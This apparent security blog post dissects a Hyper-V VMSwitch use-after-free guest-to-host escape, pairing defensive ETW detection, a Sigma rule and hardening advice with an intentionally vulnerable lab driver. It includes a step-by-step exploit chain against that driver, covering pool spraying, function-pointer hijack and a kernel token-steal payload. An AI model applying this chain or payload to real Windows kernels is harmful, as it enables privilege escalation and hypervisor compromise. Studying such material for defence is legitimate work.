CVE-2026-57092 Anatomy: Hyper-V VMSwitch Use-After-Free Guest-to-Host Escape, From Low-Privileged VM Tenant to Full Hypervisor Compromise

A CVSS 9.9 use-after-free landed on July Patch Tuesday 2026 in vmswitch.sys, the kernel-mode driver that brokers every guest packet in Hyper-V. A low-privileged authenticated tenant, sending crafted network-related requests through the Hyper-V Virtual Switch, can force the host to dereference freed memory and cross the partition boundary. Where a normal RCE compromises one workload, this class of bug compromises the substrate underneath every tenant on the box. This post is the teardown.

A note on scope before we begin

CVE-2026-57092 was patched exactly one week before this post. Coordinated disclosure timelines and simple defender ethics mean the specific vulnerable dispatch path, the exact freed field, and the field offset that turns the UAF into PC control are not published here. Most production Hyper-V estates are still mid-patch cycle. Dropping a turnkey against them would be indefensible.

What you get instead is more useful anyway: the confirmed architecture of the bug, the pattern class it belongs to, a self-contained intentionally-vulnerable kernel lab driver (vmswitch_lab.sys) that reproduces the UAF pattern end-to-end so you can actually train the exploitation muscle, a comparison against the ESXi escapes shown at Pwn2Own Berlin, and detection and hardening you can deploy today. When the researcher publishes the full postmortem (typically 90 days post-patch), the missing offsets can be slotted in. The technique class does not change.

The VM isolation promise, and why VMSwitch is the wrong place to trust it

The mental model most tenants have of a VM is a hermetically sealed box. The hypervisor draws a line, guest ring-0 sits below that line, host ring-0 sits above it, and the two never touch. That model has never been quite true, and it has never been less true than in Hyper-V.

Hyper-V is a Type-1 hypervisor. The “host OS” is actually a root partition, a privileged Windows instance running alongside the hypervisor. Guests are child partitions. All guest access to physical devices is virtualized through Virtualization Service Providers (VSPs) that live in the root partition kernel, talking to Virtualization Service Clients (VSCs) inside each guest over VMBus. VMBus is not a bus in the hardware sense; it is a shared ring-buffer plus a signaling primitive, mapped between guest and host.

vmswitch.sys is the VSP for networking. It runs in ring-0 of the root partition. Every synthetic NIC in every child partition on the box terminates in this one driver. When you send a packet from inside a Windows VM, netvsc.sys (the VSC) packages it as an RNDIS message, drops it into the VMBus ring buffer, and signals vmswitch.sys to process it. That processing happens in the host kernel, on the host’s non-paged pool, using host-side objects.

Read that again. A guest-controlled byte stream, formatted by a guest-controlled driver, is parsed by a ring-0 component of the host. That is the attack surface. And it is not optional: VMSwitch is loaded any time Hyper-V, Windows Sandbox, WSL2, or the Windows Hypervisor Platform is enabled. On a modern developer laptop with WSL2, vmswitch.sys is running whether you asked for it or not.

CVE-2026-57092 is a bug in that dispatch path. And because the bug lives in the host kernel rather than a userspace broker, a successful exploit lands you directly at host ring-0, no additional pivot required.

VMSwitch and VMBus, the parts you need to know

Let me anchor the moving parts so the rest of this makes sense.

VMBus, the transport

VMBus offers a control channel (device offer/rescind) and per-device data channels. Each data channel is a pair of ring buffers in shared memory (guest-to-host and host-to-guest) plus an interrupt-like signaling primitive. On the guest side, VSCs like netvsc.sys build packets and hand them to VMBus. On the host side, VSPs receive them.

The VMBus Kernel Mode Client Library (KMCL) is the API surface both sides use. For networking, the guest path looks roughly like this:

// Guest-side (netvsc), simplified
VmbPacketAllocate(Channel, &Packet);
VmbPacketSetCompletionRoutine(Packet, OnHostAck);
VmbPacketSend(Packet, PayloadBuffers, PayloadCount);
// ...later, host acks, OnHostAck fires, packet lifetime ends

On the host side, vmswitch.sys receives that packet, wraps it in NDIS structures (NET_BUFFER_LIST and friends), and dispatches based on the RNDIS message type inside. RNDIS is Microsoft’s remote NDIS protocol: messages like REMOTE_NDIS_PACKET_MSG, REMOTE_NDIS_INITIALIZE_MSG, REMOTE_NDIS_HALT_MSG, REMOTE_NDIS_SET_MSG, and so on. Historically, RNDIS parsers are UAF and heap-overflow farms. The 2018 vintage vmswitch.sys bug (CVE-2018-0959) and the hAFL1 research from Akamai in 2021 both hit this surface.

VMSwitch NIC objects

VMSwitch models four NIC types internally. The vPort is the linking object between a NIC and the switch fabric.

The vPort is the object whose lifecycle matters here. A vPort is allocated when a synthetic NIC connects, freed when it disconnects. Any pointer that outlives that free is a potential UAF site.

The netvsc anchor point

Akamai’s hAFL1 research documented that on the guest side, NvscMicroportInit allocates a MiniportAdapterContext and stashes the VMBus channel pointer at offset 0x18. Grabbing that pointer from inside a compromised guest is the standard trick to speak raw VMBus to vmswitch.sys using VmbPacketAllocate and VmbPacketSend, bypassing netvsc‘s own validation. Every practical exploit in this class starts there.

CWE-416 in a kernel network driver, the pattern class

Use-after-free is not exotic. It is the same primitive you would spray in a browser, ported into a driver.

The mechanics:

1. An object O is allocated in the non-paged pool.
2. A pointer to O is stashed somewhere durable: a table, a list, a context field on another object.
3. O is freed. The pool slot is now available for reuse.
4. Something dereferences the still-live pointer to O.

Modern Windows pool allocators (Segment Heap on 20H1 and later, LFH-backed pools on earlier builds) do not zero freed memory synchronously and reuse slots aggressively for same-sized allocations. If the attacker can control what gets allocated into that slot before the stale pointer is used, they control what the dereference sees.

For VMSwitch specifically, the attacker sits in a guest and controls two things: the timing of vPort or packet-context lifecycle events (create, delete, reconnect, halt) via RNDIS messages, and the payload bytes of subsequent packets that get allocated into pool. Combine those and you get a controlled reclaim.

The July 2026 fix is a lifetime-management fix. Microsoft’s advisory language matches the pattern: an authenticated attacker, executing code inside a guest, sends specially crafted network-related requests to the host via the Hyper-V Virtual Switch, forcing the host to access memory that has been freed. That is textbook: trigger free, reclaim, dereference.

The specific object whose free-and-reuse creates the primitive is either the vPort itself or a packet-completion context that is transitively reachable from RNDIS dispatch. I am not going to speculate more narrowly than that in print because the field offset is what turns “UAF” into “SYSTEM,” and that offset is what the researcher gets to publish first.

CVE-2026-57092, the confirmed facts

The two things worth staring at are Scope: Changed and PR: Low. Scope: Changed is CVSS’s way of saying the vulnerable component and the impacted component are different security authorities. In plain English, the bug in the guest-facing driver has consequences for the host, and CVSS bumps the score to reflect that. PR: Low means the attacker is not required to be admin in the guest, only authenticated. Unprivileged code inside a rented Windows VM in a shared Hyper-V estate is enough.

Combine those with AV:N/AC:L and you have exactly the kind of bug that keeps hosting providers awake. Every multi-tenant Hyper-V estate, every Azure Stack HCI deployment, every on-prem lab that runs mixed workloads on Hyper-V, is a target where a compromised guest can potentially reach the host until the July rollup is applied.

Lab target: vmswitch_lab.sys

To train the exploitation path without touching the live CVE, build a minimal kernel driver that reproduces the pattern. This is the standard approach: HEVD for generic Windows kernel bug classes, and now a purpose-built driver for the VMSwitch-style vPort UAF.

Environment:
– Windows 10 or 11 test VM with bcdedit /set testsigning on
– HVCI disabled, Secure Boot disabled (lab configuration only)
– WinDbg Preview with symbols configured, KDNET to the host
– WDK 10 installed for build

The object layout:

// vmswitch_lab.h
#define LAB_PORT_MAGIC 0x54524F50  // 'PORT'

typedef VOID (*PFN_PACKET_DISPATCH)(struct _LAB_PORT*, PVOID);

typedef struct _LAB_PORT {
    ULONG                Magic;         // +0x00
    ULONG                PortId;        // +0x04
    PFN_PACKET_DISPATCH  DispatchFn;    // +0x08  <-- target
    PVOID                PacketContext; // +0x10
    LIST_ENTRY           PortListEntry; // +0x18
    UCHAR                Data[224];     // pad to a clean pool size
} LAB_PORT, *PLAB_PORT;

The buggy driver logic, in three IOCTLs:

// vmswitch_lab.c, condensed
static PLAB_PORT g_PortTable[MAX_PORTS];  // deliberately retains pointers

NTSTATUS HandleCreatePort(ULONG PortId) {
    PLAB_PORT p = ExAllocatePool2(POOL_FLAG_NON_PAGED, sizeof(LAB_PORT), 'PBAL');
    if (!p) return STATUS_INSUFFICIENT_RESOURCES;
    p->Magic = LAB_PORT_MAGIC;
    p->PortId = PortId;
    p->DispatchFn = DefaultDispatch;
    g_PortTable[PortId] = p;
    return STATUS_SUCCESS;
}

NTSTATUS HandleDeletePort(ULONG PortId) {
    PLAB_PORT p = g_PortTable[PortId];
    if (!p) return STATUS_NOT_FOUND;
    ExFreePoolWithTag(p, 'PBAL');
    // BUG: g_PortTable[PortId] is NOT cleared. Stale pointer retained.
    return STATUS_SUCCESS;
}

NTSTATUS HandleDispatchPacket(ULONG PortId, PVOID PktBuf, SIZE_T PktLen) {
    PLAB_PORT p = g_PortTable[PortId];        // stale read
    if (!p) return STATUS_NOT_FOUND;
    p->DispatchFn(p, PktBuf);                 // controlled indirect call after reclaim
    return STATUS_SUCCESS;
}

NTSTATUS HandleSprayBuffer(PVOID UserBuf, SIZE_T Len) {
    // Attacker-facing primitive to reclaim freed pool slots
    PVOID p = ExAllocatePool2(POOL_FLAG_NON_PAGED, Len, 'YRPS');
    RtlCopyMemory(p, UserBuf, Len);
    // deliberately do not free, held for the run
    return STATUS_SUCCESS;
}

The pool tag 'PBAL' is a lie the driver tells itself, but it makes triage in WinDbg trivial (!poolfind PBAL). The Data padding brings the LAB_PORT to a bucket size that will collide with the spray allocations.

Exploitation path against vmswitch_lab.sys

This is the muscle memory. Every step maps directly onto what you would do against a real VMSwitch UAF, minus the VMBus plumbing to reach vmswitch.sys from a guest.

Phase 1, recon

Attach WinDbg. Load the driver. Confirm the target layout.

kd> !drvobj vmswitch_lab 2
kd> dt vmswitch_lab!_LAB_PORT
kd> ? sizeof(vmswitch_lab!_LAB_PORT)
kd> bp vmswitch_lab!HandleDispatchPacket
kd> bp vmswitch_lab!HandleDeletePort "!pool @rdx; g"

You want to know two things: the exact size of LAB_PORT (so the spray hits the same pool bucket), and the offset of DispatchFn inside it (0x08 in this layout).

Phase 2, trigger the free

From usermode:

HANDLE hDev = CreateFileW(L"\\\\.\\vmswitch_lab", GENERIC_ALL, 0,
                          NULL, OPEN_EXISTING, 0, NULL);
ULONG portId = 0x41;
DeviceIoControl(hDev, IOCTL_CREATE_PORT, &portId, sizeof(portId),
                NULL, 0, &bytes, NULL);
DeviceIoControl(hDev, IOCTL_DELETE_PORT, &portId, sizeof(portId),
                NULL, 0, &bytes, NULL);
// g_PortTable[0x41] is now dangling

Phase 3, reclaim the slot

Build a spray buffer that mirrors the LAB_PORT layout, but with DispatchFn pointing at your ring-0 payload. The classic move on older kernels was a direct function pointer overwrite pointing into a usermode buffer. On modern Windows with SMEP and CFG-adjacent mitigations, the pivot needs to land in kernel space, which is where data-only attacks and JOP against loaded modules come in. For lab purposes with HVCI off, we can point at a MEM_COMMIT | PAGE_EXECUTE_READWRITE usermode allocation.

unsigned char spray[sizeof(LAB_PORT)] = {0};
*(ULONG*)(spray + 0x00) = LAB_PORT_MAGIC;
*(ULONG*)(spray + 0x04) = 0x41;
*(ULONG_PTR*)(spray + 0x08) = (ULONG_PTR)PayloadStub;   // ring-0 payload VA

for (int i = 0; i < 2000; i++) {
    DeviceIoControl(hDev, IOCTL_SPRAY_BUFFER, spray, sizeof(spray),
                    NULL, 0, &bytes, NULL);
}

Two thousand allocations is overkill on a lab box and roughly right on a busy pool. In the real VMSwitch case, the reclaim is done by sending a run of RNDIS messages whose deserialized allocations land in the same pool bucket as the freed vPort context. Same shape, different transport.

Phase 4, trigger the dereference

DeviceIoControl(hDev, IOCTL_DISPATCH_PACKET, &portId, sizeof(portId),
                NULL, 0, &bytes, NULL);
// vmswitch_lab!HandleDispatchPacket does: g_PortTable[0x41]->DispatchFn(...)
// The reclaimed slot has DispatchFn = PayloadStub. Ring-0 executes it.

Phase 5, the ring-0 payload: token steal

Once your payload is running in ring-0, the actual privilege escalation is uninteresting because it has been the same for fifteen years. Walk ActiveProcessLinks from the current EPROCESS, find PID 4 (System), copy its Token, mask off the EX_FAST_REF reference count bits.

// Pseudocode for the ring-0 stub.
// Offsets vary per build; use dt nt!_EPROCESS in WinDbg to confirm.
#define OFF_LINKS  0x448   // ActiveProcessLinks, Windows 11 22H2 example
#define OFF_PID    0x440
#define OFF_TOKEN  0x4b8

void PayloadStub(void) {
    PEPROCESS cur = PsGetCurrentProcess();
    PEPROCESS p   = cur;
    do {
        PLIST_ENTRY flink = (PLIST_ENTRY)((PUCHAR)p + OFF_LINKS);
        p = (PEPROCESS)((PUCHAR)flink->Flink - OFF_LINKS);
        if (*(PULONG)((PUCHAR)p + OFF_PID) == 4) {
            ULONG64 sysTok = *(PULONG64)((PUCHAR)p + OFF_TOKEN) & ~0xFULL;
            *(PULONG64)((PUCHAR)cur + OFF_TOKEN) = sysTok;
            return;
        }
    } while (p != cur);
}

In the real VMSwitch context, “current process” on the host is likely System itself or the vmwp.exe VM worker process running under a Virtual Machine SID, depending on where the dispatch runs. In either case, from host ring-0 you already have unfettered read/write of all guest memory. Token stealing is barely a formality; the interesting question is what you do next.

What “host SYSTEM” actually gets you in a multi-tenant estate

Host ring-0 in Hyper-V means:

• Read/write access to the memory of every child partition on the host. Every other tenant’s process memory, credentials, sensitive data, all mapped through vid.sys and the hypervisor.
• Access to VHDX files on the host filesystem. Snapshot theft, offline injection into other tenants’ disks.
• Injection into vmwp.exe (the VM Worker Process) for any running VM to interpose on that VM’s I/O.
• Ability to load kernel modules, disable Defender’s kernel components on the host, tamper with ETW.
• Pivot into the management network. Hyper-V hosts routinely have management NICs into domain controllers, SCVMM, and cluster shared storage.

Ransomware crews have understood this arithmetic for a decade. Compromising one tenant VM is a nuisance. Compromising the hypervisor host is the whole shop.

ESXi at Pwn2Own Berlin, and why the VMSwitch bug is worse

Pwn2Own Berlin 2025 produced a run of ESXi and Workstation escapes that are the closest structural cousins to CVE-2026-57092.

ESXi escapes are elegant because the attacker has to marshal a heap overflow through a userspace broker (VMX), which is sandboxed on modern versions, before touching anything privileged. The chain is longer, the mitigations are meaningful.

VMSwitch escapes are, structurally, more direct. The VSP lives in kernel. There is no VMX-equivalent intermediary sandbox. A UAF that gives you an indirect call in vmswitch.sys is already in the highest-value context the host has. VBS with HVCI enabled will make that indirect call harder (HVCI enforces W^X on kernel code pages and validates code integrity via the Secure Kernel), but the reality is that a large fraction of on-prem Windows Server 2019 and 2022 Hyper-V deployments run without HVCI because of driver compatibility. On those hosts, CVE-2026-57092 is a straight-line escape.

Detection: ETW, Sysmon, Sigma

You cannot patch retroactively, but you can catch the exploitation shape. UAF exploitation against VMSwitch has a distinctive telemetry signature: a burst of vPort or channel lifecycle events, followed by a bulk allocation pattern, followed by either a successful callback or a bugcheck.

Hyper-V ETW providers

Enable these on every Hyper-V host. Ship them to your SIEM.

Validate the GUIDs on your target build with logman query providers | findstr /i hyper-v before you write rules. They shift between builds.

The high-signal events:

• vPort rapid alloc/free/alloc on the same PortId within a short window. In steady state, vPorts churn at VM start/stop cadence. A guest that flaps a vPort ten times per second is grooming.
• RNDIS message type or length anomalies. Malformed initialize messages, oversized set messages, mismatched header/body lengths.
• Port state machine transitions out of order: PortDisconnect before PortConnectComplete, or repeated PortHalt messages.
• Host BSOD (System Event ID 41) shortly after guest network activity from a specific VM. Failed exploits crash the host.

Sysmon on the host

Sigma, vPort grooming

title: Hyper-V VMSwitch vPort Rapid Lifecycle Anomaly
id: 9e2f7c1a-1c1a-4a1e-9c9e-vmswitch57092
status: experimental
description: Detects rapid vPort create/delete cycles consistent with UAF heap grooming (CVE-2026-57092 class)
logsource:
  product: windows
  service: hyper-v-vmswitch
detection:
  create:
    Operation: 'PortCreate'
  delete:
    Operation: 'PortDelete'
  timeframe: 2s
  condition: create and delete | count() by PortId > 5
level: high
tags:
  - attack.privilege_escalation
  - attack.t1611  # Escape to Host
  - cve.2026.57092

Tune the threshold to your fleet; a busy container host will churn ports faster than a bare Hyper-V lab.

MITRE ATT&CK mapping

• T1611 (Escape to Host), the umbrella technique for VM/container escape.
• T1068 (Exploitation for Privilege Escalation), the CWE-416 primitive itself.
• T1055 (Process Injection), the follow-on into vmwp.exe on the host.
• T1014 (Rootkit), the likely persistence once ring-0 is held.

Hardening multi-tenant Hyper-V

Order matters. Do the first three today.

1. Apply the July 2026 rollup. Priority one on every Hyper-V host, Azure Stack HCI node, and Windows Server 2012 through 2025 box with Hyper-V enabled. Do not forget clients: developer workstations running WSL2 or Windows Sandbox load vmswitch.sys and are in scope.
2. Enable VBS and HVCI on every Hyper-V host. HVCI enforces kernel code integrity via the Secure Kernel and blocks the naive “point DispatchFn at usermode shellcode” pivot. It also disrupts data-only attacks that patch kernel code pages. If HVCI is not enabled because of a legacy driver, evict the driver.
3. Enable Credential Guard on every Hyper-V host. Once an attacker holds host ring-0, credential material from the host is what pivots into the domain. Credential Guard slows that step meaningfully.
4. Segment the tenant network. Guests should not have paths to management interfaces, SCVMM, cluster shared volumes, or backup networks. Use VLAN isolation and Network Controller policies. Assume the host will fall someday; make the blast radius small.
5. Restrict who can create and administer VMs. The CVE requires PR:Low, meaning any authenticated code inside a guest. If your tenants can hand VM administration to unaudited third parties, your threat model changes.
6. Deploy the ETW pipeline described above and alert on vPort grooming and host bugchecks.
7. Consider Shielded VMs / HGS for tenants running sensitive workloads. Shielded VMs do not stop a host compromise (nothing does, once the host falls), but they raise the bar for tampering with tenant disks and memory when the host is only partially compromised.
8. Track future variants. VMSwitch has produced UAF and heap-overflow CVEs on a near-yearly cadence since 2018. Assume there will be more. Bake VMSwitch ETW into your baseline detection now.

Key takeaways

• CVE-2026-57092 is a CWE-416 UAF in vmswitch.sys, exploitable from an authenticated guest via crafted RNDIS/VMBus traffic. CVSS 9.9, scope changed, network vector, low privileges required. Assume this bug is trivially exploitable in principle and worth full triage priority.
• Because VMSwitch lives in the root partition kernel, a successful exploit lands you in host ring-0 directly. There is no ESXi-style VMX broker to bounce through.
• The exploitation pattern is the standard one: trigger free, groom the pool with same-sized reclaims, hijack a function pointer in the reclaimed object, execute a token-steal payload. You can train the entire chain against a lab driver you build in an afternoon.
• The right comparison is ESXi at Pwn2Own Berlin 2025. The bugs are cousins; the ESXi bug is a userspace VMX overflow, the VMSwitch bug is a kernel UAF. Kernel-direct is worse.
• Detection is possible: vPort lifecycle grooming has a distinctive ETW signature, and host bugchecks correlated to specific guest network activity are a strong post-hoc signal.
• Hardening priorities: patch, VBS/HVCI, Credential Guard, and network segmentation. HVCI in particular changes the arithmetic of exploitation for this whole bug class.
• Full weaponization details for the specific field and offset in vmswitch.sys are being withheld here for one week of patch-cycle grace. The architecture and pattern are not.

References

• Microsoft Security Response Center: CVE-2026-57092 – Windows VMSwitch Elevation of Privilege Vulnerability
• NVD – CVE-2026-57092 Detail
• MITRE ATT&CK T1611 – Escape to Host
• Field Effect: Microsoft July 2026 Patch Tuesday – CVE-2026-57092 VMSwitch Guest-to-Host Escape Analysis
• Security Affairs: Patch Tuesday July 2026 – CVE-2026-57092 VMSwitch Use-After-Free Coverage